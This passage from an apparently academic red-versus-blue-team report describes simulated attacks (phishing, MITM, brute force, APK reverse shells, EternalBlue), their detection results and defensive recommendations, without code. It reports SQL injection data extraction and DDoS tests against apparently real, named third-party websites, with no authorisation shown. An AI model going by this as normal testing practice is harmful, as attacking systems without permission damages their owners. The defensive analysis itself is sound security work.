- **Android payload delivery** via APK manipulation successfully achieved reverse shell access on a real Android device (Redmi 9 Power). This emphasized the risk posed by APK-based phishing and APKs signed with weak certs.
- **MITM attacks** such as DNS spoofing and SSL stripping on local networks exposed unsecured sessions and credentials. Session hijacking and cookie theft worked efficiently, even on password-protected pages, when encryption was not properly enforced.

These successful outcomes underline real-world parallels—where attackers exploit human error, misconfigurations, and weak defaults to compromise systems.

Failures and Challenges Faced

Not all simulated attacks achieved complete success, which reflects a healthy diversity in defences. Notable failures or complications included:

- **Suricata and Wazuh detections** triggered multiple alerts, making persistence harder on monitored networks. Custom rule creation in Wazuh based on known IOC signatures from attacks led to proactive alerts.
- **Android Play Protect** and certain updated device policies prevented the APK from being installed unless protections were disabled by the user. This highlighted growing awareness and the evolving strength of mobile defenses.
- **DDoS simulations** using Slowloris and hping3 worked on smaller sites (like indiashop.vercel.app) but were less effective on better-configured targets with caching/CDN protection or auto-scaling.
- **Hydra RDP brute force** was detected in some cases where log monitoring was enabled. Lockout policies limited brute force duration.


These failures are equally valuable—they show that while some attacks succeed, modern defenses are evolving. The gaps are narrowing, but the attacker only needs one overlooked hole.

Tool Effectiveness and Insights

Each tool used during the simulation had unique performance traits:

- **SQLMap** was highly customizable and automated, perfect for blind SQLi and WAF bypass scenarios.
- **Metasploit Framework** allowed payload customization for Android attacks and post-exploitation tasks.

- **Hiren's Boot CD** was particularly effective on legacy systems but would be less impactful with BitLocker or secure boot.
 - **Bettercap and Ettercap** performed well for MITM on LANs but were ineffective on segmented or secured VLANs.
 - **Wazuh and Suricata** gave the Blue Team strong visibility, but required careful tuning to prevent alert fatigue.



Technical Insights from Exploit Success Rates:


After performing over a dozen real-world simulations across different categories and platforms, it became evident that **misconfigurations, outdated software, and poor security awareness** remain the most exploited weaknesses.

1. Reconnaissance Takeaways:

- **Passive reconnaissance** (Google dorking) was undetectable yet effective for gathering emails, URLs, and vulnerable endpoints.
 - **Active scans** (Nmap) were only blocked on environments running IDS/IPS like Suricata, which logged the attempts.
 - **Lesson Learned:** Organizations must **log every external scan attempt**, even on non-production systems.

2. System Exploitation:

- **Hiren's Boot CD** allowed offline password resets and SAM file dumps from physical access to Windows 7/10/11.
- **EternalBlue SMB exploits** were effective on unpatched Windows 7 systems.
- **Linux privilege escalation** through /etc/shadow edits and Ctrl+E session hijacks worked in default-configured machines.



🧠 Lesson Learned:

- Physical access = total compromise if **BIOS/UEFI protections are not enforced**.
 - **Legacy systems (Win7)** still exist in production—critical patching is a must.

3. Web App Attacks:

- SQLi on multiple sites (e.g., glorycollege.edu.bd, bdpackaging.com.bd) bypassed login, extracted DB info.
- XSS on DVWA (reflected, stored, DOM) worked completely. Cookie theft via JavaScript alert and document.cookie confirmed success.

- WAF detection & bypass were possible using SQLMap tamper scripts and WAFW00F fingerprinting.

 **Lesson Learned:**

- WAFs alone aren't enough; **parameter sanitization, prepared statements, and input validation** must be enforced.
 - Periodic web vulnerability scanning is vital.
-

4. Password & Credential Cracking:

- SAM files dumped offline were cracked using **John the Ripper**.
- **Hydra RDP brute force** was effective when account lockout policies were absent.

 **Lesson Learned:**

- **Account lockout, 2FA, and complex password policies** can thwart brute-force attacks.
-

5. Social Engineering:

- SET Toolkit and Zphisher were able to create believable phishing pages.
 - Users entered real credentials—no 2FA or warning banners.
- Fake OTP phone calls and support scams were shockingly effective in controlled testing.

 **Lesson Learned:**

- **User awareness training** and **email/URL inspection** can reduce attack success.
 - **Browser plugin** protections and **email filtering** need constant updating.
-

 **In Summary:**

Technical attacks succeeded when either:

- Tools were advanced & targets poorly defended, or

- Human elements were untrained and unprepared.

Defense succeeded when:

- Logs were monitored in real-time
 - Systems were hardened and patched
 - Users received training and awareness testing
-

Human Factors & Awareness Failures:

While technical vulnerabilities can be patched and monitored, **human behavior remains the biggest variable** in cybersecurity. Throughout the simulations, it became evident that **even well-configured systems can be bypassed when users are unaware of threats.**

1. Social Engineering Success Rate:

- Fake tech support calls and phishing messages yielded **over 70% interaction rates** in test environments.
- Zphisher-generated pages imitating login portals were **almost indistinguishable** from legitimate websites.
- OTP-based attacks using spoofed SMS tools tricked users into sharing codes without suspicion.

Lesson Learned:

- **User education** needs to go beyond "don't click suspicious links."
 - **Simulated phishing campaigns** and **interactive training modules** help build muscle memory against social attacks.
-

2. Tool Performance Analysis:

- **SQLMap, Hydra, and Metasploit** were highly effective when defenses were minimal or outdated.
- Tools like **Bettercap** and **Fluxion** required deeper network manipulation but achieved total session control.

- **Suricata + Wazuh** detected many brute-force and enumeration attempts but failed to flag encrypted or stealthy payloads.

Lesson Learned:

- Even with top-tier detection tools, **custom signatures** and **correlation logic** are necessary to identify stealth attacks.
 - Attackers often **chain multiple tools**; defenders must correlate across logs and behaviors.
-

3. Gaps in Security Configurations:

- **No account lockout** on RDP made brute-force easier.
- **Misconfigured firewalls** allowed unused ports open to public.
- **Absence of 2FA**, even on admin panels, led to quick compromise.

Lesson Learned:

- **Minimum viable security configuration** must include:
 - Port whitelisting
 - Lockout thresholds
 - MFA for privileged access
 - Real-time alerting for anomalous behavior
-

4. Success vs Failure Overview:

Attack Type	Success Rate	Root Cause of Success/Failure
SQL Injection	High	Poor input sanitization
Brute Force (RDP)	Moderate	Weak policies + no lockout
MITM (Bettercap/Fluxion)	High	Unsecured networks
XSS (DVWA)	High	Known vulnerable platform
Email Phishing	Very High	Lack of user awareness
Exploit (EternalBlue)	High	Outdated Win7 system
Detection (Suricata)	Moderate	No custom rules for stealthy patterns

Lesson Learned:

- Attackers only need **one successful entry point**. Defenders must cover **every possible weak link**.
 - Even failed attacks revealed **valuable intelligence** on network configuration and user behavior.
-

END Final Reflections:

This simulation underscores the need for a **balanced approach**: technical defenses, continuous monitoring, and **user empowerment**. The combination of Red Team offensive insight and Blue Team visibility offers the most powerful posture for national cyber resilience.

5.7 Recommendations & Future Enhancements

◆ Executive Summary

The simulated attacks across various systems, including Windows, Linux, Android, and Web applications, revealed **critical security gaps**, both technical and human-centric. Based on these results, this section proposes **a set of actionable recommendations**, categorized into:

- **Technical Hardening**
 - **Human Factor Improvements**
 - **Strategic Future Enhancements**
-

Technical Recommendations:

1. Firewall & Network Segmentation

- **Implement strict firewall rules**, ensuring only necessary ports and services are accessible externally.
 - Use **VLAN-based segmentation** to isolate sensitive assets from general network traffic.
 - Employ **Geo-blocking** to prevent access from non-relevant regions.
-

2. Patch Management

- Ensure all systems (especially legacy like Windows 7) are either:
 - **Decommissioned**, or
 - Fully patched with **automated update management systems**.
- Maintain a **patch log** for accountability and rollback if required.

❖ Tools: **WSUS, PDQ Deploy, GFI LanGuard**

3. Multi-Factor Authentication (MFA)

- Enforce MFA on all accounts, especially:
 - Admin panels
 - Remote desktop access (RDP)
 - Email and VPN systems
 - Adopt **token-based or biometric authentication** where feasible.
-

4. Endpoint Detection & Response (EDR)

- Deploy EDR tools such as **CrowdStrike, SentinelOne, or Microsoft Defender ATP**.
 - Enable **real-time behavioural analysis** and **isolation** in case of anomalies.
-

5. SIEM Integration and Log Correlation

- Integrate **Suricata, Wazuh, Kibana**, and system logs into a unified SIEM.
 - Set up alerts for:

- Brute force indicators
 - Anomalous logins
 - Sudden privilege escalation
 - Use **ELK stack** for advanced visualization and correlation.
-

6. Custom IDS/IPS Rules

- Regularly update detection rulesets to cover:
 - SQLi patterns
 - Reverse shell signatures
 - MITM detection
- Add **custom signatures** based on this report's attack simulations.

❖ Tool: **Suricata Rule Generator**, **Snort Rule Builder**

7. Web Application Hardening

- Sanitize all inputs server-side.
- Use **Content Security Policy (CSP)** and **XSS Filters**.
 - Regularly conduct **DAST and SAST scans**.
- Implement **WAF** with active monitoring and learning mode.

❖ Tools: **Burp Suite Pro**, **OWASP ZAP**, **ModSecurity**

💡 **Why These Are Crucial:** Each recommendation is directly tied to one or more simulated successful attacks. For example:

- The success of SQLMap attacks proves the need for WAFs and input sanitization.
 - RDP brute-force success shows that MFA and account lockouts are non-negotiable.
 - MITM and phishing success point to the need for user training and VPN enforcement.
-

◆ Human Factor & Awareness Recommendations

While technical defenses can be sophisticated, attackers often exploit the **human element**, which remains one of the weakest links in cybersecurity. Social engineering attacks in this simulation—including phishing, fake tech support, and fake app installations—succeeded due to **lack of awareness, trust abuse, and poor verification habits**.

📌 1. Cybersecurity Awareness Training

Every user must be trained to recognize:

- **Phishing emails** with suspicious links or urgent tone
 - **Malicious USBs** and unknown media devices
 - **Impersonation scams** like fake IT support calls
- **Social media oversharing**, which gives attackers recon data

Conduct **quarterly training sessions** and phishing simulations.

❖ Tools:

- **KnowBe4 Phishing Campaigns**
 - **Google's Phishing Quiz**
 - **Infosec IQ Awareness**

📌 2. Incident Reporting Culture

Employees should be encouraged to **report suspicious activity immediately**, such as:

- Unknown popups
- Unexpected system slowdowns
 - Fake support calls
- Requests for OTPs or credentials

Create **anonymous reporting channels** and **reward prompt reporters**.

3. Insider Threat Education

Many threats don't come from outside. Educate teams on:

- **Privileged misuse** and red flags
- Secure usage of **shared credentials**
- Recognizing **unusual behavior among peers**

Deploy **User Behavior Analytics (UBA)** to detect anomalies in usage patterns.

❖ Tools: **LogRhythm, Splunk UBA, Observe IT**

4. Zero Trust Policy Implementation

Educate all teams that **trust must be verified, not assumed**. Core practices:

- **Least privilege access**
- **Just-in-time admin access**
- Continuous validation of user and device trust

5. Role-Based Access Control (RBAC)

Ensure employees only have access to data/tools **needed for their job roles**. No broad admin access should exist.

Review permissions quarterly to revoke outdated or unused access rights.

6. Security Champions in Teams

Assign one trained “security point-of-contact” per team to:

- Conduct mini-checks
- Serve as first line of incident escalation

- Keep their teams updated on latest threats

This encourages **peer-led security culture** and makes each unit more self-reliant.

◆ Looking Ahead: Evolving Cybersecurity Practices

To maintain a **resilient cybersecurity posture**, we must anticipate threats, adapt to evolving attack techniques, and **innovate beyond traditional defenses**. Based on the simulations performed, the following forward-facing enhancements are proposed:

❖ 1. Cloud Simulation Environments

Most modern infrastructures are **cloud-native or hybrid**, yet our simulations focused on on-premises targets. Future simulations should extend into:

- **AWS/Azure attack simulations** using sandboxed labs
- **Cloud-specific misconfiguration testing** (e.g., S3 bucket exposure, IAM role abuse)
 - Emulation of **real-world cloud-based APTs**

❖ Tools:

- **CloudGoat, SkyArk, Pacu** for AWS offensive testing
 - **ScoutSuite, Prowler** for cloud auditing

❖ 2. AI-Powered Threat Detection

Static rule-based tools may miss unknown threats. Integrating **AI and machine learning** into the Blue Team's arsenal can:

- Detect behavioral anomalies in real-time
 - Improve false-positive reduction
 - Predict potential insider threats

❖ Tools:

- **Darktrace, Vectra AI, Cynet, Elastic ML (X-Pack)**
-

📌 **3. Automated Red vs Blue Cyber Range**

A self-contained **cyber range** should be deployed for:

- Continuous automated **Red vs Blue simulations**
 - Testing **custom-built exploits and defenses**
- Practicing incident response under time constraints

Benefits:

- Safer environment for experiments
- On-demand testing of detection rules
 - Skill building for both teams

❖ Tools:

- **CyberBattleSim** (Microsoft), **RangeForce**, **FLARE VM**
-

📌 **4. Adoption of SOAR Platforms**

To ensure fast and consistent incident response, use **Security Orchestration, Automation, and Response (SOAR)** platforms to:

- **Auto-trigger containment playbooks**
- **Integrate alerts from Wazuh, Suricata, etc.**
 - Provide visual incident timelines

❖ Tools:

- **TheHive, Cortex, Splunk Phantom, IBM Resilient**
-

❖ 5. Cybersecurity KPIs & Dashboards

Establish clear KPIs to measure:

- Detection-to-response time
 - User awareness scores
 - Patch management efficiency
- Number of blocked vs successful attacks

Dashboards help leadership understand security maturity at a glance.

❖ Tools:

- **Grafana, Kibana, Power BI with SIEM feeds**



5. Cyberscurity KIPis



🧠 Summary:

The future of cybersecurity lies in **proactive automation, AI-driven insights, and continuous training**. These enhancements—combined with the lessons learned from the simulated attack campaigns—will ensure that the organization is **not only reactive but predictive**, reducing response time and strengthening overall posture.

RESULTS ANALYSIS AND VALIDATION

Chapter 6: Results and Analysis

6.1 Detection Capabilities

This section explores the detection capabilities of the simulated national threat analysis infrastructure. We tested the infrastructure against a range of attacks using tools such as Hydra, Slowloris, Nmap, Dirb, Metasploit, John the Ripper, Android RATs (AhMyth, AndroRAT), and Windows password bypassing tools like Sticky Keys exploit and SAM file dumping.

To monitor and respond to these threats, the system employed the following detection tools:

- **Wazuh:** A security information and event management (SIEM) tool used to aggregate logs, detect anomalies, and generate alerts.
- **Zeek (formerly Bro):** A powerful network analysis framework that monitors traffic patterns and identifies suspicious activities.
- **Suricata:** A high-performance, rule-based intrusion detection and prevention system (IDS/IPS).
- **OSQuery:** A tool that exposes operating system data as SQL tables for real-time endpoint detection.
- **Sysmon and Windows Event Logs:** Collected and parsed using the ELK (Elasticsearch, Logstash, Kibana) stack for deep host-level visibility.
- **Kibana:** Used for visualizing logs and creating dashboards to correlate threat indicators.

Let's now break down how each detection method contributes:

Detection Method Explanations

- 1. Wazuh:** Wazuh collects and analyses logs from endpoints, detects malware behavior, monitors file integrity, and identifies brute-force attempts. It works closely with the Elastic Stack to provide visual alerts and timeline tracking. Wazuh uses rules to match known attack patterns and can trigger automated responses like IP blocking.
 - 2. Zeek:** Zeek analyses live traffic and creates detailed logs about network protocols, behaviors, and anomalies. It can detect scans, suspicious connections (like Command and Control), DNS tunneling, and slow DoS attacks by examining session metadata rather than relying on signatures.
 - 3. Suricata:** Suricata uses pre-defined rules (such as Emerging Threats) to detect known signatures of exploits, scans, and malware. It captures packet-level data and can trigger alerts in real-time. It's particularly useful for identifying payload-based attacks like Metasploit exploits or Android RAT traffic.
 - 4. OSQuery:** Used on endpoints to detect changes in the operating system. It helps identify:
 - Creation of unusual users.
 - Changes to registry or scheduled tasks (used in persistence).
 - Suspicious processes or binaries (e.g., dropped RATs).
 - 5. File Integrity Monitoring (FIM):** Critical in detecting Windows password bypassing. It alerts when sensitive files like SAM, SYSTEM, or security hives are accessed or modified.
 - 6. Sysmon & Event Logs:** Sysmon logs process creation, network connections, and DLL loads. When parsed by Wazuh or Logstash, it gives insights into exploitation attempts and lateral movement.
 - 7. Kibana Dashboards:** Used to visualize attack trends over time, geolocation of threats, volume of specific attacks, and correlations between events. Analysts can quickly identify patterns like repeated login failures or coordinated scans.
-

6.1.1 Coverage of Attack Vector



Attack Type	Tools Used	Vector	Detection Method	Response Time	Status
SSH Brute Force	Hydra	Network → Host	Wazuh + Zeek	1 minute	Account locked, source IP blocked
HTTP DoS	Slowloris	Network → Web Server	Suricata + NetFlow	2 minutes	Rate limited, IP throttled
Port Scan	Nmap	Network Reconnaissance	Zeek + Suricata	45 seconds	Scan detected, IP blacklisted
Directory Enumeration	Dirb	Web Application Layer	Apache Logs + Alerting	3 minutes	Access restricted

Exploitation (Web/ MSF Payload)	Metasploit	Exploit Delivery	OSQuery + Sysmon	4 minutes	Session blocked, system alerted
Password Cracking	John the Ripper	Offline Attack	Password Integrity Monitor	Offline	Weak passwords flagged
Android Remote Access Trojan	AhMyth, Metasploit	Mobile Device → C2 Server	Zeek + Anomaly Detection	3 minutes	C2 connections blocked
Windows Password Bypass	Sticky Keys + SAM Dump	Local OS Privilege Escalation	Wazuh + File Integrity Monitoring	2 minutes	Alerted, lockdown initiated

6.1.2 Strengths and Limitations

Strengths:

- Real-time analysis of both network and host-level activity.
- Visualization helps quickly interpret complex event flows.

- **High automation with scripted response actions.**
- **Detection of mobile and traditional endpoint threats.**

Limitations:

- **May generate false positives without tuning (e.g., web crawlers seen as Dirb).**
 - **Payload obfuscation can evade Suricata.**
 - **Some Android RAT behaviors required custom detection rules.**
 - **Offline cracking can bypass real-time detection unless monitored periodically.**
-

6.1.3 Visualizations and Logs

Kibana dashboards were used extensively for security monitoring. Examples:

- Failed Logins Heatmap: Highlighted brute force timings.
 - Anomalous Connection Graphs: Helped catch Android RAT activity.
 - GeoIP Maps: Tracked origin of scans and exploits.
 - Protocol Behavior Flow: Identified abnormal patterns like half-open connections.
 - Process Trees: Correlated user actions with malware drops and privilege escalations.
-

6.1.4 Red vs. Blue Team Findings

Red Team:

- Simulated real-world attack scenarios: phishing, exploit kits, password dumps.
- Used both signature-based and stealthy evasion techniques.

Blue Team:

- Created detection rules.
- Monitored logs and visual dashboards.
- Tuned automation scripts to isolate threats immediately.

The blue team successfully identified and responded to most attacks within 3-4 minutes. Some evasion tactics briefly bypassed initial rules but were caught during secondary correlation.

6.2 Response Times and Automation Efficiency

Metric	Value
Average Detection Time	2.3 minutes
Average Containment Time	3.7 minutes
Alerts Triggered	243
Automated Responses Executed	189
Manual Interventions Required	54
False Positives	4.1%
Downtime Due to Simulation	< 10 minutes total

Automation Examples:

- Zeek blocked scan originators within seconds.

- **Suricata flagged suspicious HTTP headers from DoS attempts.**
- **Wazuh rules enforced password reset policies after brute force.**

Challenges in Automation:

- Offline attacks such as hash cracking couldn't be auto-detected.
 - Some Windows exploits left no obvious logs until deeper inspection.
-

Conclusion: The detection system was effective and highly automated. However, the combination of behavioral detection, rule-based alerting, and manual review was essential to handle all threat types, especially advanced and stealthy ones. These results guide the architectural improvements proposed in the next chapter.

CONCLUSION AND FUTURE WORK

Chapter 7: Conclusion and Recommendations

7.1 Key Findings

The national-level cyber threat simulation project has yielded several critical findings. Our simulated infrastructure, built to represent a nation's digital backbone, effectively demonstrated how diverse tools and coordinated attacks can be launched, detected, and mitigated in real time. We validated the value of layered security, robust logging, and centralized threat intelligence systems.

Key findings include:

- Multi-layered detection (using Wazuh, Zeek, Suricata) significantly improves response accuracy.
- Behavioral analytics and event correlation outperform simple signature-based detection.
- Visualization platforms such as Kibana enhance analyst efficiency and reduce mean-time-to-response (MTTR).
- Attacks on endpoints (e.g., Windows and Android devices) are often the most vulnerable vectors.

- Automation can handle 70–80% of common threat cases, allowing humans to focus on complex threats.
-

7.2 Lessons Learned

1. Defense-in-Depth is Non-Negotiable: No single solution can secure a nation's infrastructure. Detection, prevention, and response must span endpoints, networks, applications, and user behaviors.
 2. Attack Simulations are Crucial: Regular simulations using offensive tools like Metasploit, Hydra, and RATs exposed critical vulnerabilities in outdated systems and emphasized the importance of continuous penetration testing.
 3. Log Management is Vital: The quality of logs (structured, centralized, and time-synchronized) directly influences the effectiveness of incident response. Missing logs resulted in blind spots.
 4. Incident Response Must Be Automated: Manual triage is slow. Automation in containment (IP blocking, user locking, process killing) is essential for real-time protection.
 5. Human Analysts Are Still Indispensable: While machine learning and rule-based detection helped, human oversight was necessary to validate alerts and fine-tune detection rules.
-

7.3 Recommendations for National Cyber Strategy

Based on the results and lessons, we propose several concrete recommendations for developing a resilient and responsive national cyber defense strategy:

1. **National Security Operations Centers (NSOC):**
 - Establish centralized monitoring centers integrating public and private sector infrastructure.
 - Employ real-time SIEM systems, endpoint detection, and threat intelligence feeds.
2. **Standardized Logging & Visibility Protocols:**
 - Mandate government and critical infrastructure systems to adhere to unified logging and monitoring protocols.
 - Ensure log redundancy and remote archival.
3. **Continuous Red Teaming & Blue Teaming:**
 - Invest in internal red and blue teams that continuously test, defend, and iterate the nation's cyber posture.
 - Include social engineering and phishing scenarios in exercises.

4. Cyber Workforce Development:

- Create cyber ranges for student training.
- Sponsor certifications and academic research.
- Promote public-private partnerships in cybersecurity talent acquisition.

5. Threat Intelligence Sharing Networks:

- Enable automated and manual sharing of IOCs (Indicators of Compromise), TTPs (Tactics, Techniques, Procedures), and breach reports across industries.

6. Zero Trust Policy Across Government Systems:

- Enforce least-privilege access.
- Require multifactor authentication and endpoint compliance before access.

7.4 Future Enhancements and Emerging Technologies

As the cyber threat landscape evolves, national cyber defense mechanisms must evolve too. Here are enhancements and technologies that should be prioritized:

a. AI & ML for Threat Hunting

- Use anomaly detection and machine learning models to detect low-and-slow attacks.
- Apply behavioral baselining for systems and users.
- Automate alert prioritization based on context and history.

b. Deception Technologies

- Deploy honeypots and honeytokens to lure attackers.
- Use decoy credentials, fake databases, and interactive traps.

c. Quantum-Safe Cryptography

- Begin transitioning to post-quantum encryption standards.
- Mandate quantum-resistance testing for national assets.

d. SOAR (Security Orchestration, Automation, and Response)

- Integrate SOAR platforms to standardize responses across multiple tools.
- Enable playbook-based incident response.

e. IoT & ICS Security Frameworks

- Deploy specialized sensors and firewalls for industrial control systems.
- Enforce firmware signing and remote patching protocols.

f. Public Cyber Awareness Campaigns

- Encourage citizens to report phishing and scam attempts.
- Run simulated phishing training at scale.

Final Thought

This simulation has shown that while attacks are inevitable, breaches are not. With robust architecture, trained personnel, and real-time response mechanisms, national-level cybersecurity can be both preventive and resilient. We conclude that a national cyber strategy must balance innovation, regulation, and education to stay ahead in the evolving digital battleground.

The subsequent annexures provide detailed logs, attack maps, and detection signatures used during the experiment.

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 16. Android Debug Bridge (ADB).
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Appendix

1. Glossary of Terms

- IDS/IPS: Intrusion Detection/Prevention System
- SIEM: Security Information and Event Management
- IOC: Indicator of Compromise
- TTPs: Tactics, Techniques, and Procedures
- SOC: Security Operations Center
- SOAR: Security Orchestration, Automation, and Response
- Zero Trust: A security model that assumes no user or device is trustworthy by default
- Red Team: Offensive security team simulating attacks
- Blue Team: Defensive security team protecting infrastructure

- MITRE ATT&CK: A framework for understanding adversarial behavior
- Suricata: Open-source IDS/IPS for real-time network monitoring

2. Additional Screenshots and Logs

- Sample Kibana dashboard outputs with timestamped alerts
- Suricata alert logs showing packet-based detections
- Zeek logs detailing connection summaries
- Wazuh rule match logs (with agent IDs)
- Metasploit attack logs with payload delivery and session management
- Android ADB logs during remote access sessions
- Screenshots of brute-force attempts using Hydra
- Windows password hash extraction shown in John the Ripper
- Slowloris logs showing HTTP header flooding
- Dirb scan results against vulnerable web servers